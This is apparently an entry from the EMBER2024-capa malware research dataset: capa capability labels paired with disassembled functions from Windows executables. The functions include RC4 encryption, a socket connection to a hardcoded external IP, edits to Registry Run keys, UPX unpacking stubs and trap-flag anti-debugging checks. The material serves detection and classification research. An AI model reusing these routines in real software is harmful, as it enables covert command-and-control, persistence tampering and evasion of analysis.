joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40b6d0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push edi
xor edi, edi
push esi
push ebx
push edx
mov ebp, dword [esp + 0x18]
lea esi, [ebp + 2]
movzx eax, byte [ebp]
mov byte [esp + 3], al
movzx edx, byte [ebp + 1]
mov byte [esp + 2], dl
cmp edi, dword [esp + 0x20]
jge 0x40b728
inc byte [esp + 3]
movzx ecx, byte [esp + 3]
movzx edx, byte [esi + ecx]
add byte [esp + 2], dl
movzx ebx, byte [esp + 2]
movzx eax, byte [esi + ebx]
mov byte [esi + ecx], al
mov byte [esi + ebx], dl
add dl, byte [esi + ecx]
movzx eax, dl
mov edx, dword [esp + 0x1c]
movzx eax, byte [esi + eax]
xor byte [edx + edi], al
inc edi
jmp 0x40b6ee
movzx eax, byte [esp + 3]
mov byte [ebp], al
movzx edx, byte [esp + 2]
mov byte [ebp + 1], dl
pop eax
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x40f53a
Capabilities:
Encode data using xor

Disassembly:
push edi
push esi
push ebx
mov edi, dword [esp + 0x10]
mov esi, dword [esp + 0x14]
push 1
push 0x258
call fcn.00401771
mov ebx, eax
call fcn.0040f21c
push 0x258
mov eax, dword [0x444ac8]
add eax, 0x444618
push eax
push ebx
call sub.msvcrt.dll_memcpy
mov dword [esi], 0x258
add esp, 0x14
mov dword [edi], ebx
pop ebx
pop esi
pop edi
jmp fcn.0040f21c
Function at 0x417aca
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push edi
push esi
push ebx
sub esp, 0x254
mov edi, dword [esp + 0x264]
push 0x107
lea ebx, [esp + 8]
push ebx
call sub.KERNEL32.dll_GetWindowsDirectoryA
push 0x43e540
push ebx
call sub.msvcrt.dll_strcat
lea eax, [esp + 0x11c]
push eax
push ebx
call sub.KERNEL32.dll_FindFirstFileA
pop ecx
cmp eax, 0xffffffff
mov esi, eax
pop ebx
je 0x417b2d
push 0x140
lea ebx, [esp + 0x118]
push ebx
call edi
pop eax
pop edx
push ebx
push esi
call sub.KERNEL32.dll_FindNextFileA
test eax, eax
jne 0x417b0b
push esi
call sub.KERNEL32.dll_FindClose
call sub.KERNEL32.dll_GetCurrentProcessId
mov dword [esp], eax
push 4
lea eax, [esp + 4]
push eax
call edi
push edi
call fcn.00418897
call fcn.00417a94
add esp, 0x260
pop ebx
pop esi
pop edi
ret

Function at 0x4186d0
Capabilities:
Delete file

Disassembly:
push esi
test edx, edx
mov ecx, edx
push ebx
mov esi, dword [esp + 0xc]
mov ebx, eax
jne 0x4186ef
push eax
call sub.msvcrt.dll_remove
mov dword [esi], 0xffffffff
xor eax, eax
pop edx
jmp 0x418735
push 0
cmp edx, 2
mov eax, pe_nt_image_headers32
mov edx, 0
cmovne eax, edx
setne dl
push eax
movzx eax, dl
add eax, 2
push eax
movzx eax, dl
lea eax, [eax + eax*2]
push 0
cmp ecx, 2
mov edx, 0x80000000
push eax
mov eax, 0x40000000
cmovne eax, edx
push eax
push ebx
call sub.KERNEL32.dll_CreateFileA
mov dword [esi], eax
inc eax
setne al
movzx eax, al
pop ebx
pop esi
ret
Function at 0x41c95a
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov edx, dword [esp + 4]
mov dword [edx], eax
inc eax
setne al
movzx eax, al
dec eax
ret

Function at 0x41c974
Capabilities:
Connect socket

Disassembly:
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
push str.87.98.185.184
call sub.WS2_32.dll_inet_addr
mov dword [esp + 4], eax
mov word [esp], 2
push 0x227d
call sub.WS2_32.dll_htons
mov word [esp + 2], ax
push 0x10
lea eax, [esp + 4]
push eax
push dword [esp + 0x1c]
call sub.WS2_32.dll_connect
add esp, 0x10
ret

Function at 0x41caf1
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x23c
movzx eax, byte [0x43eb91]
mov byte [esp + 0x2c], al
lea eax, [esp + 0x2d]
push 0x103
push 0
push eax
call sub.msvcrt.dll_memset
mov dword [esp + 0x10], 0x104
lea eax, [esp + 0x30]
mov dword [esp + 0x14], 0
push eax
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x30]
push eax
push 0
lea eax, [esp + 0x34]
push eax
lea eax, [esp + 0x60]
push eax
push dword [esp + 0x288]
call sub.ADVAPI32.DLL_RegQueryInfoKeyA
add esp, 0xc
mov eax, dword [esp + 8]
test eax, eax
je 0x41cbef
xor ebp, ebp
cmp ebp, eax
jae 0x41cbef
mov dword [esp], 0xff
lea eax, [esp + 0x24]
push eax
push 0
push 0
push 0
lea eax, [esp + 0x10]
push eax
lea esi, [esp + 0x150]
push esi
push ebp
push dword [esp + 0x26c]
call sub.ADVAPI32.DLL_RegEnumKeyExA
test eax, eax
jne 0x41cbe8
cld
or ecx, 0xffffffff
mov edi, esi
repne scasb al, byte es:[edi]
not ecx
add ecx, 0x37
push ecx
call sub.msvcrt.dll_malloc
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov ebx, eax
push esi
push 0x43ecc3
push eax
call sub.msvcrt.dll_sprintf
push str.apo5
push ebx
push 0x80000003
call fcn.0041f265
add esp, 0x20
push ebx
call fcn.0043aa78
pop ebx
inc ebp
cmp ebp, dword [esp + 8]
jmp 0x41cb76
add esp, 0x23c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x41cbfa
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
push edi
push esi
push ebx
push edi
push edi
mov dword [esp], 0
push 0
push 2
lea eax, [esp + 0xe]
push eax
push dword [esp + 0x28]
call sub.WS2_32.dll_recv
xor edx, edx
cmp eax, 2
jne 0x41ccf7
movzx eax, byte [esp + 6]
mov edx, dword [0x4453c8]
or byte [edx + 0x64], al
mov edx, dword [0x4453c8]
movzx eax, byte [esp + 7]
imul eax, eax, 0x1388
mov dword [edx + 0x1c], eax
push 0
push 2
lea eax, [esp + 0xc]
push eax
push dword [esp + 0x28]
call sub.WS2_32.dll_recv
xor edx, edx
cmp eax, 2
jne 0x41ccf7
jmp 0x41cc76
push dword [ebx]
call fcn.0043aa78
push ebx
call fcn.0043aa78
pop ebx
pop esi
jmp 0x41ccf4
movzx eax, byte [esp + 4]
xor edi, edi
movzx edx, byte [esp + 5]
shl eax, 8
lea ebp, [eax + edx]
cmp dword [esp], ebp
jae 0x41ccf4
push 0
push 2
lea eax, [esp + 0xc]
push eax
push dword [esp + 0x28]
call sub.WS2_32.dll_recv
cmp eax, 2
jne 0x41ccf4
movzx eax, byte [esp + 4]
movzx edx, byte [esp + 5]
shl eax, 8
mov esi, eax
add esi, edx
je 0x41ccf4
push 8
call sub.msvcrt.dll_malloc
mov ebx, eax
lea eax, [esi + 1]
push eax
call sub.msvcrt.dll_malloc
mov dword [ebx], eax
push 0
push esi
push eax
push dword [esp + 0x30]
call sub.WS2_32.dll_recv
mov edx, eax
cmp edx, esi
pop eax
pop ecx
jne 0x41cc65
mov eax, dword [ebx]
inc edi
cmp edi, ebp
mov byte [eax + edx], 0
mov eax, dword [esp]
mov dword [esp], ebx
mov dword [ebx + 4], eax
jmp 0x41cc8b
mov edx, dword [esp]
pop esi
mov eax, edx
pop edi
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x41e40f
Capabilities:
Read file on windows

Disassembly:
push edi
mov edi, edx
push esi
xor esi, esi
push ebx
mov ebx, eax
mov byte [eax], 0
mov eax, dword [0x445430]
cmp dword [0x445420], eax
jl 0x41e429
push dword [0x4453d0]
mov dword [0x445420], 0
push dword [0x43eec0]
push 1
push 0x445440
call sub.msvcrt.dll_fread
mov dword [0x445430], eax
add esp, 0x10
xor edx, edx
test eax, eax
jle 0x41e43b
mov eax, dword [0x445420]
movsx edx, byte [eax + 0x445440]
inc eax
mov dword [0x445420], eax
movsx edx, dl
test edx, edx
je 0x41e456
cmp edx, 0xa
je 0x41e469
cmp edx, 0xd
je 0x41e3ec
xor ecx, ecx
test dl, dl
je 0x41e3ec
cmp esi, edi
jl 0x41e45a
xor eax, eax
jmp 0x41e472
mov byte [esi + ebx], dl
inc ecx
inc esi
shr edx, 8
cmp ecx, 3
jg 0x41e3ec
jmp 0x41e44e
mov byte [esi + ebx], 0
mov eax, 1
pop ebx
pop esi
pop edi
ret

Function at 0x41f265
Capabilities:
Delete registry value

Disassembly:
push ecx
mov eax, esp
push eax
push 2
push 0
push dword [esp + 0x18]
push dword [esp + 0x18]
call sub.ADVAPI32.DLL_RegOpenKeyExA
test eax, eax
jne 0x41f299
push dword [esp + 0x10]
push dword [esp + 4]
call sub.ADVAPI32.DLL_RegDeleteValueA
test eax, eax
jne 0x41f299
push dword [esp]
call sub.ADVAPI32.DLL_RegCloseKey
xor eax, eax
pop edx
ret

Function at 0x425b92
Capabilities:
Query environment variable

Disassembly:
push esi
push ebx
push ecx
push ecx
mov esi, dword [esp + 0x14]
mov dword [esi + 4], 0
push esi
call fcn.00425db2
mov dword [esp + 4], eax
push 0x54
push esi
call fcn.00425d6c
add esp, 0xc
test eax, eax
mov ebx, eax
jne 0x425bd9
push esi
call fcn.00425db5
mov eax, dword [esi]
mov dword [eax + 0x18], 0
mov dword [eax + 0x14], 0x36
mov eax, dword [esi]
push esi
call dword [eax]
pop eax
pop edx
mov dword [ebx + 0x30], 0x3b9aca00
mov eax, dword [esp]
mov dword [esi + 4], ebx
mov dword [ebx], fcn.0042519b
mov dword [ebx + 4], fcn.004252b7
mov dword [ebx + 8], fcn.0042534c
mov dword [ebx + 0xc], fcn.004253dd
mov dword [ebx + 0x10], 0x42547f
mov dword [ebx + 0x14], 0x4254e7
mov dword [ebx + 0x18], 0x42554f
mov dword [ebx + 0x1c], 0x42581a
mov dword [ebx + 0x20], 0x42594c
mov dword [ebx + 0x24], fcn.00425a75
mov dword [ebx + 0x28], 0x425b5b
mov dword [ebx + 0x2c], eax
mov dword [ebx + 0x38], 0
mov dword [ebx + 0x40], 0
mov dword [ebx + 0x34], 0
mov dword [ebx + 0x3c], 0
mov dword [ebx + 0x44], 0
mov dword [ebx + 0x48], 0
mov dword [ebx + 0x4c], 0x54
push str.JPEGMEM
call sub.msvcrt.dll_getenv
pop esi
test eax, eax
mov edx, eax
je 0x425cc1
mov byte [esp + 7], 0x78
lea eax, [esp + 7]
push eax
lea eax, [esp + 4]
push eax
push str._ld_c
push edx
call sub.msvcrt.dll_sscanf
add esp, 0x10
test eax, eax
jle 0x425cc1
movzx eax, byte [esp + 7]
cmp al, 0x6d
sete dl
cmp al, 0x4d
sete al
or eax, edx
test al, 1
je 0x425cb7
imul eax, dword [esp], 0x3e8
mov dword [esp], eax
imul eax, dword [esp], 0x3e8
mov dword [ebx + 0x2c], eax
pop ecx
pop ebx
pop ebx
pop esi
ret
Function at 0x4347a0
Capabilities:
Inspect section memory permissions

Disassembly:
cmp dword [eax + 4], ebx
jne 0x4347ae
cmp dword [eax + 0xc], ebx
je 0x434851
mov edi, dword [eax + 0xc]
add edi, esi
push edi
call dword [ebp - 0xc0]
mov dword [ebp + 0xc], eax
call fcn.00434209
int1
and byte [ebx + ebx*4], ch
cmp dword [ebp + 0xc], ebx
jne 0x4347dd
push edi
call dword [ebp - 0xb8]
cmp eax, ebx
mov dword [ebp + 0xc], eax
je 0x4349f8
mov eax, dword [ebp - 0x44]
mov ecx, dword [eax + 0x10]
mov eax, dword [eax]
cmp eax, ebx
lea edi, [ecx + esi]
jne 0x4347f1
mov dword [ebp + 0x10], edi
jmp 0x4347f6
add eax, esi
mov dword [ebp + 0x10], eax
call fcn.00434209
int 0x35
aas
insd dword es:[edi], dx
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
cmp eax, ebx
je 0x43483f
test eax, 0x80000000
lea ecx, [eax + esi]
je 0x43481a
and eax, 0xffff
push eax
jmp 0x43481e
add ecx, 2
push ecx
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004341ce
add esp, 0xc
cmp edi, ebx
mov dword [edi], eax
je 0x4349f8
add edi, 4
add dword [ebp + 0x10], 4
jmp 0x4347ff
add dword [ebp - 0x44], 0x14
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp - 0x44]
jmp fcn.004347a0
call fcn.00434209
test al, 0x6e
xchg edx, eax
out dx, al
mov eax, dword [edi + 0xa0]
cmp eax, ebx
je 0x4348bd
add eax, esi
Function at 0x4348a0
Capabilities:
Inspect section memory permissions

Disassembly:
cmp dword [eax], ebx
je 0x4348bd
mov edx, dword [eax + 4]
lea ecx, [eax + 8]
add edx, eax
mov dword [ebp + 8], ecx
cmp ecx, edx
jae 0x4348b8
mov ecx, dword [ebp + 8]
movzx ecx, word [ecx]
mov edx, ecx
and edx, 0xf000
cmp edx, 0x3000
jne 0x4348a2
and ecx, 0xfff
mov edx, esi
sub edx, dword [edi + 0x34]
add ecx, esi
add ecx, dword [eax]
add dword [ecx], edx
jmp 0x4348aa
cmp edx, ebx
jne 0x4349f8
mov ecx, dword [eax + 4]
add dword [ebp + 8], 2
add ecx, eax
cmp dword [ebp + 8], ecx
jb 0x434879
add eax, dword [eax + 4]
jmp 0x434866
mov dword [ebp + 0xc], ebx
jmp 0x4348c8
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x4348e0
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x4348fe
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x43495c
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x434943
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x43494c
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x434956
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x434938
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x4348c2
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x4349a9
dec eax
je 0x4349a0
sub eax, 3
je 0x434997
mov dword [ebp - 4], 0x40
jmp 0x4349c6
mov dword [ebp - 4], 4
jmp 0x4349ac
mov dword [ebp - 4], 0x20
jmp 0x4349ac
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x4349f8
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x434978
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.00434209
cmp al, 0x2e
cmc
pop es
push dword [ebp + 0x14]
push 1
push esi
call edi
mov eax, esi
jmp 0x434a04
push 0x8000
push ebx
push esi
call dword [ebp - 8]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x434ad0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
test dword [esp + edi*8 - 1], edi
inc dword [eax + eax]
add byte [eax], al
and byte [ebp - 0x334], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x333]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x670], 4
invalid
movsd dword es:[edi], dword [esi]
cmp al, 0xfc
invalid
invalid
Function at 0x51b010
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x8b000]
lea eax, [edi + 0xcf740]
push dword [eax]
mov dword [eax], 0x248748ab
push eax
push edi
jmp 0x51b03a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x51b041
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x51b030
mov eax, 1
add ebx, ebx
jne 0x51b053
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x51b064
jne 0x51b083
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x51b083
dec eax
add ebx, ebx
jne 0x51b070
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x51b048
add ebx, ebx
jne 0x51b07f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x51b0d5
xor ecx, ecx
sub eax, 3
jb 0x51b09b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x51b10a
sar eax, 1
mov ebp, eax
jmp 0x51b0a6
add ebx, ebx
jne 0x51b0a6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x51b074
inc ecx
add ebx, ebx
jne 0x51b0b4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x51b074
add ebx, ebx
jne 0x51b0c1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x51b0b6
jne 0x51b0d2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x51b0b6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x51b0f4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x51b0e6
jmp 0x51b036
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x51b0f4
add edi, ecx
jmp 0x51b036
pop esi
pop edi
pop eax
mov dword [edi], eax
mov edi, esi
mov ecx, 0x40f0
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x51b116
cmp byte [edi], 0x11
jne 0x51b116
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x51b11b
lea edi, [esi + 0x114000]
mov eax, dword [edi]
or eax, eax
je 0x51b193
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x124d84]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x124f28]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x51b148
mov ecx, edi
jns 0x51b177
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x124f30]
or eax, eax
je 0x51b18d
mov dword [ebx], eax
add ebx, 4
jmp 0x51b165
call dword [esi + 0x124f2c]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x51b1c4
cmp al, 0xef
ja 0x51b1b7
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x51b199
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x51b1a6
mov ebp, dword [esi + 0x124f34]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x23f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x51b1f8
sub esp, 0xffffff80
jmp 0x420577
Function at 0x79f9f0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x23c000]
mov dword [edi + 0x23fe90], 0x47a434f7
push edi
or ebp, 0xffffffff
jmp 0x79fa1a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x79fa21
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x79fa10
mov eax, 1
add ebx, ebx
jne 0x79fa33
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x79fa44
jne 0x79fa63
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x79fa63
dec eax
add ebx, ebx
jne 0x79fa50
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x79fa28
add ebx, ebx
jne 0x79fa5f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x79fab5
xor ecx, ecx
sub eax, 3
jb 0x79fa7b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x79faea
sar eax, 1
mov ebp, eax
jmp 0x79fa86
add ebx, ebx
jne 0x79fa86
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x79fa54
inc ecx
add ebx, ebx
jne 0x79fa94
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x79fa54
add ebx, ebx
jne 0x79faa1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x79fa96
jne 0x79fab2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x79fa96
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x79fad4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x79fac6
jmp 0x79fa16
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x79fad4
add edi, ecx
jmp 0x79fa16
pop esi
mov edi, esi
mov ecx, 0xe015
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x79faf2
cmp byte [edi], 0x28
jne 0x79faf2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x79faf7
lea edi, [esi + 0x38e000]
mov eax, dword [edi]
or eax, eax
je 0x79fb6f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x438844]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x438a50]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x79fb24
mov ecx, edi
jns 0x79fb53
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x438a58]
or eax, eax
je 0x79fb69
mov dword [ebx], eax
add ebx, 4
jmp 0x79fb41
call dword [esi + 0x438a54]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x79fba0
cmp al, 0xef
ja 0x79fb93
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x79fb75
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x79fb82
mov ebp, dword [esi + 0x438a5c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x24f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x79fbd4
sub esp, 0xffffff80
jmp 0x4a423c
Function at 0x949166
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x943140]
jne 0x949170
repz ret
jmp fcn.009494af

Function at 0x94f328
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x943140]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0094a976
and dword [ebp - 0x14], 0
cmp dword [0x946b2c], 0
mov dword [ebp - 0x18], eax
jne 0x94f3db
push str.USER32.DLL
call dword [sym.imp.kernel32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x94f483
mov edi, dword [sym.imp.kernel32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x94f483
mov esi, dword [sym.imp.kernel32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x946b2c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x946b30], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x946b34], eax
call edi
push eax
call esi
mov dword [0x946b3c], eax
test eax, eax
je 0x94f3db
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x946b38], eax
mov eax, dword [0x946b38]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.kernel32.dll_DecodePointer]
cmp eax, ecx
je 0x94f434
cmp dword [0x946b3c], ecx
je 0x94f434
push eax
call esi
push dword [0x946b3c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x94f434
test ebx, ebx
je 0x94f434
call edi
test eax, eax
je 0x94f42b
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x94f42b
test byte [ebp - 8], 1
jne 0x94f434
or dword [ebp + 0x10], 0x200000
jmp 0x94f467
mov eax, dword [0x946b30]
cmp eax, dword [ebp - 0x18]
je 0x94f467
push eax
call esi
test eax, eax
je 0x94f467
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x94f467
mov eax, dword [0x946b34]
cmp eax, dword [ebp - 0x18]
je 0x94f467
push eax
call esi
test eax, eax
je 0x94f467
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x946b2c]
call esi
test eax, eax
je 0x94f483
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x94f485
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00949166
leave
ret

Function at 0x403a68
Capabilities:
Check for trap flag exception

Disassembly:
rep movsb byte es:[edi], byte [esi]
stc
jmp 0x403c9e
mov edi, dword [esp + 0x3c]
sbb esi, 0x7d3797ee
xor esi, 0x66e71186
bts si, 8
mov esi, dword [esp + 0x40]
cmp ch, 0x8b
cmc
push dword [esp + 0x44]
popfd
push dword [esp + 8]
pushfd
mov word [esp], di
lea esp, [esp + 0x50]
jmp fcn.004023ff

Function at 0x12ba73c
Capabilities:
Check for trap flag exception

Disassembly:
mov edi, dword [esp + 0x3c]
sbb esi, 0x7d3797ee
xor esi, 0x66e71186
bts si, 8
mov esi, dword [esp + 0x40]
cmp ch, 0x8b
cmc
push dword [esp + 0x44]
popfd
push dword [esp + 8]
pushfd
mov word [esp], di
lea esp, [esp + 0x50]
jmp 0x12b9ce9
rep movsb byte es:[edi], byte [esi]
stc
jmp 0x12b8c2a
Function at 0x40d1c0
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x124
lea eax, [esp]
push ebx
mov ebx, dword [esp + 0x12c]
push esi
push edi
push eax
push ebx
xor edi, edi
call dword [sym.imp.MSVCRT.dll__stat]
add esp, 8
cmp eax, 0xffffffff
jne 0x40d1f8
call dword [sym.imp.MSVCRT.dll__errno]
mov eax, dword [eax]
pop edi
pop esi
pop ebx
add esp, 0x124
ret
mov esi, dword [esp + 0x20]
push 0x411a84
push ebx
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebx, eax
add esp, 8
test ebx, ebx
jne 0x40d223
call dword [sym.imp.MSVCRT.dll__errno]
mov eax, dword [eax]
pop edi
pop esi
pop ebx
add esp, 0x124
ret
cmp esi, dword [0x41ab24]
jbe 0x40d23a
push esi
call fcn.0040d2c0
mov edi, eax
add esp, 4
test edi, edi
jne 0x40d29b
mov ecx, dword [0x41ab20]
lea edx, [esp + 0x30]
push ecx
push str.pcBuffer_m___p
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
mov eax, dword [0x41ab20]
push ebx
push esi
push 1
push eax
call dword [sym.imp.MSVCRT.dll_fread]
mov ecx, dword [esp + 0x154]
add esp, 0x1c
mov dword [ecx], eax
mov cl, byte [ebx + 0xc]
test cl, 0x20
je 0x40d27f
call dword [sym.imp.MSVCRT.dll__errno]
mov edi, dword [eax]
jmp 0x40d29b
cmp eax, esi
je 0x40d29b
